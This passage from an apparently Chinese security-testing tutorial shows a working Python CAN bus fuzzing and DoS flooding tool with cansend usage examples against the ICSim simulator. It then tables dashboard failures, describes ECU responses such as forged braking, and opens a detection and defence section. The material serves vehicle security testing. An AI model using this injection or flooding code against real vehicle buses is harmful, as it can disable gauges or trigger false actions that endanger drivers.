class=\"code-snippet__string\">'boundary'<\/span>:<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; patterns = [<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<span class=\"code-snippet__built_in\">bytes<\/span>([<span class=\"code-snippet__number\">0xFF<\/span>] *&nbsp;<span class=\"code-snippet__number\">8<\/span>), &nbsp; &nbsp; &nbsp;&nbsp;<span class=\"code-snippet__comment\"># \u51680xFF\uff08\u8fb9\u754c\u503c\uff09<\/span><\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<span class=\"code-snippet__built_in\">bytes<\/span>([<span class=\"code-snippet__number\">0x00<\/span>] *&nbsp;<span class=\"code-snippet__number\">8<\/span>), &nbsp; &nbsp; &nbsp;&nbsp;<span class=\"code-snippet__comment\"># \u51680x00\uff08\u8fb9\u754c\u503c\uff09<\/span><\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<span class=\"code-snippet__built_in\">bytes<\/span>([<span class=\"code-snippet__number\">0xAA<\/span>] *&nbsp;<span class=\"code-snippet__number\">8<\/span>), &nbsp; &nbsp; &nbsp;&nbsp;<span class=\"code-snippet__comment\"># 0xAA\uff08\u4e8c\u8fdb\u523610101010\uff09<\/span><\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<span class=\"code-snippet__built_in\">bytes<\/span>([<span class=\"code-snippet__number\">0x55<\/span>] *&nbsp;<span class=\"code-snippet__number\">8<\/span>), &nbsp; &nbsp; &nbsp;&nbsp;<span class=\"code-snippet__comment\"># 0x55\uff08\u4e8c\u8fdb\u523601010101\uff09<\/span><\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<span class=\"code-snippet__built_in\">bytes<\/span>([random.randint(<span class=\"code-snippet__number\">0<\/span>,&nbsp;<span class=\"code-snippet__number\">255<\/span>)&nbsp;<span class=\"code-snippet__keyword\">for<\/span>&nbsp;_&nbsp;<span class=\"code-snippet__keyword\">in<\/span>&nbsp;<span class=\"code-snippet__built_in\">range<\/span>(<span class=\"code-snippet__number\">8<\/span>)]),&nbsp;<span class=\"code-snippet__comment\"># \u7eaf\u968f\u673a<\/span><\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; ]<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<span class=\"code-snippet__keyword\">return<\/span>&nbsp;random.choice(patterns)<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp;&nbsp;<span class=\"code-snippet__keyword\">else<\/span>: &nbsp;<span class=\"code-snippet__comment\"># flood\u6a21\u5f0f<\/span><\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<span class=\"code-snippet__keyword\">return<\/span>&nbsp;<span class=\"code-snippet__built_in\">bytes<\/span>([<span class=\"code-snippet__number\">0xFF<\/span>] *&nbsp;<span class=\"code-snippet__number\">8<\/span>)<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__keyword\">def<\/span>&nbsp;<span class=\"code-snippet__title\">flood_attack<\/span>(<span class=\"code-snippet__params\">iface, can_id, duration<\/span>):<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp;&nbsp;<span class=\"code-snippet__string\">\"\"\"DoS\u6cdb\u6d2a\uff1a\u9ad8\u9891\u9ad8\u4f18\u5e27\u5360\u6ee1\u603b\u7ebf\u5e26\u5bbd\"\"\"<\/span><\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp;&nbsp;<span class=\"code-snippet__built_in\">print<\/span>(<span class=\"code-snippet__string\">f'[!] DoS\u6cdb\u6d2a\u653b\u51fb: \u63a5\u53e3=<\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\">{iface}<\/span><\/span><span class=\"code-snippet__string\">, ID=0x<\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\">{can_id:03X}<\/span><\/span><span class=\"code-snippet__string\">, \u65f6\u957f=<\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\">{duration}<\/span><\/span><span class=\"code-snippet__string\">s'<\/span>)<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; end_time = time.time() + duration<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; count =&nbsp;<span class=\"code-snippet__number\">0<\/span><\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp;&nbsp;<span class=\"code-snippet__keyword\">while<\/span>&nbsp;time.time() &lt; end_time:<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; cmd =&nbsp;<span class=\"code-snippet__string\">f'cansend&nbsp;<\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\">{iface}<\/span><\/span><span class=\"code-snippet__string\">&nbsp;0x<\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\">{can_id:03X}<\/span><\/span><span class=\"code-snippet__string\">#<\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\">{<\/span><\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\"><span class=\"code-snippet__string\">\"FF\"<\/span><\/span><\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\">*<\/span><\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\"><span class=\"code-snippet__number\">8<\/span><\/span><\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\">}<\/span><\/span><span class=\"code-snippet__string\">'<\/span><\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; os.system(cmd +&nbsp;<span class=\"code-snippet__string\">' 2&gt;\/dev\/null'<\/span>)<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; count +=&nbsp;<span class=\"code-snippet__number\">1<\/span><\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp;&nbsp;<span class=\"code-snippet__built_in\">print<\/span>(<span class=\"code-snippet__string\">f'[\u2713] \u6cdb\u6d2a\u5b8c\u6210\uff0c\u5171\u53d1\u9001&nbsp;<\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\">{count}<\/span><\/span><span class=\"code-snippet__string\">&nbsp;\u5e27'<\/span>)<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__keyword\">def<\/span>&nbsp;<span class=\"code-snippet__title\">main<\/span>():<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; args = parse_args()<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; target_id = (<span class=\"code-snippet__built_in\">int<\/span>(args.target_id,&nbsp;<span class=\"code-snippet__number\">16<\/span>)&nbsp;<span class=\"code-snippet__keyword\">if<\/span>&nbsp;args.target_id<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<span class=\"code-snippet__keyword\">else<\/span>&nbsp;random.randint(<span class=\"code-snippet__number\">0x000<\/span>,&nbsp;<span class=\"code-snippet__number\">0x7FF<\/span>))<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp;&nbsp;<span class=\"code-snippet__built_in\">print<\/span>(<span class=\"code-snippet__string\">'='<\/span>&nbsp;*&nbsp;<span class=\"code-snippet__number\">55<\/span>)<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp;&nbsp;<span class=\"code-snippet__built_in\">print<\/span>(<span class=\"code-snippet__string\">f'[*] CAN\u6a21\u7cca\u6ce8\u5165\u5de5\u5177'<\/span>)<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp;&nbsp;<span class=\"code-snippet__built_in\">print<\/span>(<span class=\"code-snippet__string\">f'[*] \u63a5\u53e3:&nbsp;<\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\">{args.interface}<\/span><\/span><span class=\"code-snippet__string\">&nbsp; | &nbsp;\u5e27\u6570:&nbsp;<\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\">{args.count}<\/span><\/span><span class=\"code-snippet__string\">&nbsp; | &nbsp;\u6a21\u5f0f:&nbsp;<\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\">{args.mode}<\/span><\/span><span class=\"code-snippet__string\">'<\/span>)<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp;&nbsp;<span class=\"code-snippet__built_in\">print<\/span>(<span class=\"code-snippet__string\">f'[*] \u76ee\u6807ID: 0x<\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\">{target_id:03X}<\/span><\/span><span class=\"code-snippet__string\">'<\/span>)<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp;&nbsp;<span class=\"code-snippet__built_in\">print<\/span>(<span class=\"code-snippet__string\">'='<\/span>&nbsp;*&nbsp;<span class=\"code-snippet__number\">55<\/span>)<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp;&nbsp;<span class=\"code-snippet__keyword\">if<\/span>&nbsp;args.mode ==&nbsp;<span class=\"code-snippet__string\">'flood'<\/span>:<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; flood_attack(args.interface, target_id, duration=args.count * args.delay)<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<span class=\"code-snippet__keyword\">return<\/span><\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp;&nbsp;<span class=\"code-snippet__keyword\">for<\/span>&nbsp;i&nbsp;<span class=\"code-snippet__keyword\">in<\/span>&nbsp;<span class=\"code-snippet__built_in\">range<\/span>(args.count):<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; data = generate_fuzzy_data(args.mode)<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; data_str =&nbsp;<span class=\"code-snippet__string\">''<\/span>.join([<span class=\"code-snippet__string\">f'<\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\">{b:02X}<\/span><\/span><span class=\"code-snippet__string\">'<\/span>&nbsp;<span class=\"code-snippet__keyword\">for<\/span>&nbsp;b&nbsp;<span class=\"code-snippet__keyword\">in<\/span>&nbsp;data])<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; cmd =&nbsp;<span class=\"code-snippet__string\">f'cansend&nbsp;<\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\">{args.interface}<\/span><\/span><span class=\"code-snippet__string\">&nbsp;0x<\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\">{target_id:03X}<\/span><\/span><span class=\"code-snippet__string\">#<\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\">{data_str}<\/span><\/span><span class=\"code-snippet__string\">'<\/span><\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; os.system(cmd +&nbsp;<span class=\"code-snippet__string\">' 2&gt;\/dev\/null'<\/span>)<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<span class=\"code-snippet__keyword\">if<\/span>&nbsp;i &gt;&nbsp;<span class=\"code-snippet__number\">0<\/span>&nbsp;<span class=\"code-snippet__keyword\">and<\/span>&nbsp;i %&nbsp;<span class=\"code-snippet__number\">200<\/span>&nbsp;==&nbsp;<span class=\"code-snippet__number\">0<\/span>:<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<span class=\"code-snippet__built_in\">print<\/span>(<span class=\"code-snippet__string\">f'[*] \u8fdb\u5ea6:&nbsp;<\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\">{i}<\/span><\/span><span class=\"code-snippet__string\">\/<\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\">{args.count}<\/span><\/span><span class=\"code-snippet__string\">&nbsp;\u5e27\u5df2\u6ce8\u5165'<\/span>)<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; time.sleep(args.delay)<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp;&nbsp;<span class=\"code-snippet__built_in\">print<\/span>(<span class=\"code-snippet__string\">f'[\u2713] \u6a21\u7cca\u6ce8\u5165\u5b8c\u6210\uff01\u5171\u6ce8\u5165&nbsp;<\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\">{args.count}<\/span><\/span><span class=\"code-snippet__string\">&nbsp;\u5e27'<\/span>)<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__keyword\">if<\/span>&nbsp;__name__ ==&nbsp;<span class=\"code-snippet__string\">'__main__'<\/span>:<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; main()<\/span><\/code><\/pre>\n<\/section>\n<section class=\"code-snippet__fix code-snippet__js\">\n<ul class=\"code-snippet__line-index code-snippet__js\">\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<\/ul>\n<pre class=\"code-snippet__js\" data-lang=\"bash\"><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u4f7f\u7528\u793a\u4f8b\uff08\u5148\u7ed9\u6267\u884c\u6743\u9650\uff09\uff1a<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__built_in\">chmod<\/span>&nbsp;+x can_fuzzy_inject.py<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u3010\u968f\u673a\u6a21\u7cca\u3011\u5bf9\u5168\u90e8ID\u968f\u673a\u6ce8\u51655000\u5e27\uff0c\u89c2\u5bdfICSim\u5168\u5c40\u53cd\u5e94<\/span><\/span><\/code><code><span leaf=\"\">.\/can_fuzzy_inject.py vcan0 -n 5000 -d 0.005 -m random<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u3010\u7cbe\u51c6\u8fb9\u754c\u503c\u6a21\u7cca\u3011\u4e13\u95e8\u9488\u5bf9\u901f\u5ea6\u4fe1\u53f7ID 0x1A4\u53d1\u9001\u8fb9\u754c\u503c<\/span><\/span><\/code><code><span leaf=\"\">.\/can_fuzzy_inject.py vcan0 -n 2000 -m boundary -t 0x1A4<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u3010DoS\u6cdb\u6d2a\u3011\u7528\u6700\u9ad8\u4f18\u5148\u7ea7ID=0x000\u6cdb\u6d2a\u603b\u7ebf<\/span><\/span><\/code><code><span leaf=\"\">.\/can_fuzzy_inject.py vcan0 -n 10000 -d 0.001 -m flood<\/span><\/code><\/pre>\n<\/section>\n<h3 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;color: rgb(13, 71, 161);margin-top: 28px;padding-bottom: 6px;border-bottom: 1px dashed rgb(187, 222, 251);\" data-pm-slice=\"0 0 []\"><span leaf=\"\"><span textstyle=\"\" style=\"font-weight: bold;\">4.5 \u7b2c\u4e94\u6b65\uff1a\u7ed3\u679c\u89c2\u5bdf\u4e0e\u5206\u6790<\/span><\/span><\/h3>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">\u8fd0\u884c\u653b\u51fb\u65f6\uff0c\u540c\u6b65\u89c2\u5bdfICSim\u4eea\u8868\u76d8\u7684\u54cd\u5e94\u3002\u4ee5\u4e0b\u662f\u4e0d\u540c\u653b\u51fb\u6a21\u5f0f\u5bf9\u5e94\u7684\u5178\u578b\u73b0\u8c61\uff1a<\/span><\/p>\n<table style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;width: 680px;border-collapse: collapse;margin: 16px 0px;font-size: 14px;\">\n<tbody>\n<tr style=\"background: rgb(255, 240, 240);\">\n<th style=\"border: 1px solid rgb(255, 204, 204);padding: 10px 12px;\">\n<section><span leaf=\"\">\u653b\u51fb\u6a21\u5f0f<\/span><\/section>\n<\/th>\n<th style=\"border: 1px solid rgb(255, 204, 204);padding: 10px 12px;\">\n<section><span leaf=\"\">ICSim\u4eea\u8868\u76d8\u5178\u578b\u73b0\u8c61<\/span><\/section>\n<\/th>\n<th style=\"border: 1px solid rgb(255, 204, 204);padding: 10px 12px;\"><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><\/p>\n<section><span leaf=\"\">\u76d1\u63a7\u53d1\u73b0<\/span><\/section>\n<\/th>\n<th style=\"border: 1px solid rgb(255, 204, 204);padding: 10px 12px;\">\n<section><span leaf=\"\">\u98ce\u9669\u7b49\u7ea7<\/span><\/section>\n<\/th>\n<\/tr>\n<tr>\n<td style=\"border: 1px solid rgb(255, 204, 204);padding: 10px 12px;\">\n<section><span leaf=\"\">\u968f\u673a\u6570\u636e\u6a21\u7cca<\/span><span leaf=\"\"><br  \/><\/span><span leaf=\"\">0x1A4\uff08\u901f\u5ea6\uff09<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(255, 204, 204);padding: 10px 12px;\">\n<section><span leaf=\"\">\u901f\u5ea6\u6307\u9488\u6296\u52a8\u3001\u8df3\u53d8\u3001\u77ac\u95f4\u5f52\u96f6\u6216\u663e\u793a\u5f02\u5e38\u503c<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(255, 204, 204);padding: 10px 12px;\">\n<section><span leaf=\"\">ID 0x1A4\u7684\u5e27\u9891\u7387\u5f02\u5e38\uff0c\u6570\u636e\u5b57\u8282\u5206\u5e03\u5f02\u5e38<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(255, 204, 204);padding: 10px 12px;color: rgb(192, 57, 43);font-weight: bold;\">\n<section><span leaf=\"\">\u2b50\u2b50\u2b50\u2b50<\/span><\/section>\n<\/td>\n<\/tr>\n<tr style=\"background: rgb(245, 247, 255);\">\n<td style=\"border: 1px solid rgb(255, 204, 204);padding: 10px 12px;\">\n<section><span leaf=\"\">\u8fb9\u754c\u503c\u6a21\u7cca<\/span><span leaf=\"\"><br  \/><\/span><span leaf=\"\">\u51680xFF\u6ce8\u5165<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(255, 204, 204);padding: 10px 12px;\">\n<section><span leaf=\"\">\u901f\u5ea6\u663e\u793a\u4e3a\u6781\u5927\u5f02\u5e38\u503c\uff08\u89e3\u6790\u6ea2\u51fa\uff09\u6216\u76f4\u63a5\u5f52\u96f6<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(255, 204, 204);padding: 10px 12px;\">\n<section><span leaf=\"\">\u5e27\u6570\u636e\u71b5\u503c\u5f02\u5e38\uff0c\u63a5\u8fd1\u5747\u5300\u5206\u5e03<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(255, 204, 204);padding: 10px 12px;color: rgb(192, 57, 43);font-weight: bold;\">\n<section><span leaf=\"\">\u2b50\u2b50\u2b50\u2b50<\/span><\/section>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"border: 1px solid rgb(255, 204, 204);padding: 10px 12px;\"><span style=\"color: rgb(183, 28, 28);font-weight: 700;\"><span leaf=\"\">DoS<\/span><\/span><\/p>\n<section><span leaf=\"\">\u6cdb\u6d2a\u653b\u51fb<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(255, 204, 204);padding: 10px 12px;\">\n<section><span leaf=\"\">\u4eea\u8868\u5168\u9762\u5931\u7075\uff0c\u901f\u5ea6\/\u8f6c\u901f\u5f52\u96f6\uff0c\u95e8\u706f\u5168\u90e8\u7184\u706d<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(255, 204, 204);padding: 10px 12px;\">\n<section><span leaf=\"\">\u603b\u7ebf\u8d1f\u8f7d\u63a5\u8fd1100%\uff0c\u6b63\u5e38\u5e27\u5927\u91cf\u4e22\u5931<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(255, 204, 204);padding: 10px 12px;color: rgb(139, 0, 0);font-weight: bold;\">\n<section><span leaf=\"\">\u2b50\u2b50\u2b50\u2b50\u2b50<\/span><\/section>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;color: rgb(13, 71, 161);margin-top: 28px;padding-bottom: 6px;border-bottom: 1px dashed rgb(187, 222, 251);\"><span leaf=\"\"><span textstyle=\"\" style=\"font-weight: bold;\">4.6 \u771f\u5b9eECU\u7684\u54cd\u5e94\u5206\u6790<\/span><\/span><\/h3>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">\u5728\u5b9e\u9645ECU\u6d4b\u8bd5\u4e2d\uff0c<\/span><span style=\"color: rgb(198, 40, 40);font-weight: 700;\"><span leaf=\"\">\u6a21\u7cca\u6ce8\u5165<\/span><\/span><span leaf=\"\">\u540e\u901a\u5e38\u4f1a\u89c2\u5bdf\u5230\u4e09\u79cd\u5178\u578b\u54cd\u5e94\uff1a<\/span><\/p>\n<ul style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 14px;color: rgb(85, 85, 85);padding-left: 20px;\" class=\"list-paddingleft-1\">\n<li><strong><span leaf=\"\">\ud83d\udee1\ufe0f \u5b89\u5168\u6a21\u5f0f\u89e6\u53d1\uff08\u6700\u4f73\u7ed3\u679c\uff09<\/span><\/strong><br \/>\n<section><span leaf=\"\">\uff1aECU\u68c0\u6d4b\u5230\u603b\u7ebf\u5f02\u5e38\uff0c\u8fdb\u5165\u5b89\u5168\u6a21\u5f0f\uff0c\u505c\u6b62\u54cd\u5e94\u53ef\u7591\u6d88\u606f\u3002\u8fd9\u8bf4\u660eECU\u6709\u5b8c\u5584\u7684\u9519\u8bef\u5904\u7406\u548c\u5b89\u5168\u964d\u7ea7\u7b56\u7565\u3002<\/span><\/section>\n<\/li>\n<li><strong><span leaf=\"\">\u26a0\ufe0f \u9759\u9ed8\u5ffd\u7565\uff08\u4e2d\u7b49\u98ce\u9669\uff09<\/span><\/strong><br \/>\n<section><span leaf=\"\">\uff1aECU\u5bf9\u6a21\u7cca\u5e27\u4e0d\u505a\u4efb\u4f55\u54cd\u5e94\uff0c\u4e5f\u4e0d\u62a5\u9519\u3002\u867d\u7136\u6ca1\u6709\u6267\u884c\u865a\u5047\u52a8\u4f5c\uff0c\u4f46\u7f3a\u5c11\u5bf9\u5f02\u5e38\u60c5\u51b5\u7684\u544a\u8b66\u673a\u5236\u3002<\/span><\/section>\n<\/li>\n<li><strong><span leaf=\"\">\ud83d\udc80 \u6267\u884c\u865a\u5047\u52a8\u4f5c\uff08<\/span><span style=\"color: rgb(198, 40, 40);font-weight: 700;\"><span leaf=\"\">\u9ad8\u5371<\/span><\/span><span leaf=\"\">\u6f0f\u6d1e\uff09<\/span><\/strong><br \/>\n<section><span leaf=\"\">\uff1aECU\u63a5\u53d7\u4e86\u4f2a\u9020\u7684\u4fe1\u53f7\u5e76\u6267\u884c\u4e86\u5bf9\u5e94\u52a8\u4f5c\uff08\u5982\u865a\u5047\u5239\u8f66\uff09\u3002\u8fd9\u662f\u6700\u5371\u9669\u7684\u60c5\u51b5\uff0c\u5fc5\u987b\u7acb\u5373\u62a5\u544a\u5e76\u4fee\u590d\u3002<\/span><\/section>\n<\/li>\n<\/ul>\n<hr style=\"border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);\"  \/>\n<h2 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 19px;color: rgb(26, 35, 126);border-left: 4px solid rgb(21, 101, 192);padding: 8px 16px;margin: 36px 0px 20px -4px;background: linear-gradient(90deg, rgb(227, 240, 255) 0%, transparent 100%);border-radius: 0px 6px 6px 0px;border-bottom-width: medium;border-bottom-style: none;border-bottom-color: currentcolor;\" data-pm-slice=\"0 0 []\"><span leaf=\"\">\u4e94\u3001\u653b\u51fb\u68c0\u6d4b\u4e0e\u9632\u5fa1\u65b9\u6848<\/span><\/h2>\n<section><span leaf=\"\"><br  \/><\/span><\/section>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 2em;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 0px 0px 14px;text-align: justify;\"><span leaf=\"\">\u53d1\u73b0\u6f0f\u6d1e\u662f\u7b2c\u4e00\u6b65\uff0c\u4fee\u590d\u548c\u9632\u5fa1\u624d\u662f\u6700\u7ec8\u76ee\u6807\u3002\u8fd9\u4e00\u7ae0\u4ece\u6d4b\u8bd5\u5de5\u7a0b\u5e08\u7684\u89c6\u89d2\u51fa\u53d1\uff0c\u4ecb\u7ecd\u5982\u4f55\u5728\u5b9e\u9645\u9879\u76ee\u4e2d\u5efa\u7acb<\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><span leaf=\"\">\u5b89\u5168\u68c0\u6d4b\u4e0e\u9632\u5fa1\u80fd\u529b\u3002<\/span><\/p>\n<h3 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;color: rgb(13, 71, 161);margin-top: 28px;padding-bottom: 6px;border-bottom: 1px dashed rgb(187, 222, 251);\"><span leaf=\"\"><span textstyle=\"\" style=\"font-weight: bold;\">5.1 \u68c0\u6d4b\u7bc7\uff1a\u5982\u4f55\u5728\u6a21\u7cca\u653b\u51fb\u53d1\u751f\u65f6\u53ca\u65f6\u53d1\u73b0<\/span><\/span><\/h3>\n<h4 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(21, 101, 192);margin-top: 20px;font-weight: 600;\"><span leaf=\"\">\u65b9\u6cd5\u4e00\uff1a<\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span 